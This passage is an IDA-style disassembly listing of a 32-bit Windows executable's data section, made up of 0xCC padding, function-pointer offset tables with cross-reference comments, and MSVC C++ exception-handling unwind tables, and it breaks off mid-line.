'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0 align 4 dd 3E3h dup(0) off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo off_43E004 dd offset byte_4367D0 ; DATA XREF: sub_403C70+2o off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o ; sub_409B40+Bo ... off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o ; sub_40AE10+1Co dd offset byte_4367D0 align 10h off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o ; sub_40B170+1Eo flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o ; sub_40FDA0+1Do dd offset sub_40212B dd 0 off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o ; sub_40FDA0+23o off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o ; sub_411910+1Do dd offset loc_401FE6 dd 0 off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do ; sub_413220+1Fo dd offset sub_401CF8 align 10h off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o ; sub_417DF0+8o dd offset sub_4020A9 dd 0 off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o ; sub_417E20+8o dd offset sub_401230 align 8 off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o dd offset sub_401CDF dd 0 off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o ; sub_4190B0+36o off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Fh, 40h, 0 off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r dd 0 off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo ; sub_41A110+6o off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o ; ___:0041B48Do dd offset sub_40167C align 10h off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o ; sub_41D760+1Do dd offset sub_401C80 dd 0 off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o dd offset sub_401A64 dd offset sub_401A41 dd 0 off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao ; sub_426560+1Do dd offset sub_401A64 dd offset byte_4367D0 dd 0 off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o dd offset sub_401A64 dd offset sub_401366 dd 0 off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o dd offset sub_401A64 dd offset sub_401E92 dd 0 off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o dd offset sub_401A64 dd offset sub_401A05 dd 0 off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o dd offset sub_4021A8 dd offset sub_4015AF dd 0 off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao ; sub_427EF0+1Do dd offset sub_4021A8 dd offset byte_4367D0 dd 0 off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo ; sub_428250+10o dd offset sub_4021A8 dd offset sub_401D2A dd 0 off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o ; sub_429A60+9o dd offset sub_4021A8 dd offset sub_40137A dd 0 off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o dd offset sub_4021A8 dd offset sub_4010AF dd 0 off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o dd offset sub_4021A8 dd offset sub_40188E dd 0 off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o dword_43E190 dd 0 dd 8, 0 off_43E19C dd offset byte_4367D0 ; DATA XREF: sub_42B240+39o off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o dd offset sub_4021A8 dd offset sub_40134D align 10h off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o dd offset sub_4021A8 dd offset sub_40152D align 10h dd offset loc_4015F0 dd offset sub_4021A8 dd offset sub_4019E2 align 10h dd offset dword_43E348 off_43E1D4 dd offset loc_436811 ; DATA XREF: ___:00436808o ; ___:off_4438B0o ... dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0) off_43E318 dd offset off_446CD0 ; DATA XREF: ___:0043E330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E318 dd 0 db 0 ; DATA XREF: ___:0043E358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43E330h dword_43E348 dd 3 dup(0) dd offset off_446CD0 dd offset unk_43E338 dd 45h dup(0) dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0 dd offset dword_436FD0+0B30h dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0) dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0 dd offset loc_437B7B dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0) dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0) dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0 dd offset loc_437FC8 dd 2 dup(0) dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0 dd offset loc_437FF8 align 10h dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0) dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0 dd offset loc_438048 dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh dd 2 dup(0) dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0 dd offset loc_4380C8 dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh dd 2 dup(0) dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0) dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0 dd offset loc_438208 dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0) dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0 dd offset loc_43828B dd 0 dd offset loc_438296 dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0) dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0 dd offset loc_438530 align 10h dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0 dd offset loc_438570 dd 2 dup(0) dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0 dd offset loc_4385BB dd 0 dd offset loc_4385C6 dd 2 dup(0) dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0) dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0) dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0 dd offset loc_438638 align 10h dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0 dd offset loc_43865B dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0) dd offset off_4438B0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 436800h, 2 dup(0) dd offset off_4438D0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C2Ah, 2 dup(0) dd offset off_4438F8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C30h, 0 dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o dd offset dword_436BD4+62h dd 0 dd offset dword_43F068 dd 2 dup(0) dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0) dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0) dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0 dd offset loc_438A87 dd 1, 438A8Fh, 2 dup(0) dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0) dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F1B0h, 4 dup(0) dd offset sub_40AE52 dd 2 dup(0) dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F210h, 4 dup(0) dd offset sub_40AFD1 dd 2 dup(0) dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0 dd offset loc_438AFB dd 1, 438B06h, 2, 438B11h, 2 dup(0) dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0 dd offset loc_438B4B dd 1, 438B56h, 2, 438B61h, 2 dup(0) dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh dd 438BA0h, 2 dup(0) dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0 dd offset loc_438BC8 dd 1, 438BD0h, 2 dup(0) dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0) dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh dd 438C20h, 2, 438C28h, 2 dup(0) dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0) dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0 dd offset loc_438C7B dd 0 dd offset loc_438C86 dd 2, 438C91h, 2 dup(0) dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0) dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0 dd offset loc_438CEB dd 0 dd offset loc_438CF6 dd 0 dd offset loc_438D01 dd 0 dd offset loc_438D0C dd 2 dup(0) dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0 dd offset loc_438D4B align 10h dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0 dd offset loc_438D7B dd 2 dup(0) dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0) dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0 dd offset loc_438DEB dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h dd 1, 438E2Dh, 4 dup(0) dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh dd 438EE4h, 4 dup(0) dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0 dd offset loc_438F28 dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0) dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0 dd offset loc_438F78 dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0) dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0 dd offset loc_438FC8 dd 1, 438FD0h, 2 dup(0) dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0) dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0 dd offset loc_439018 dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0) dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0 dd offset loc_439078 dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h dd 4391E5h, 8 dup(0) dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0 dd offset loc_439268 dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh dd 439323h, 0Fh, 439331h, 4 dup(0) dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0 dd offset loc_43939B dd 1, 4393A6h, 0 dd offset loc_4393B1 dd 0 dd offset loc_4393BC dd 0 dd offset loc_4393C7 dd 0 dd offset 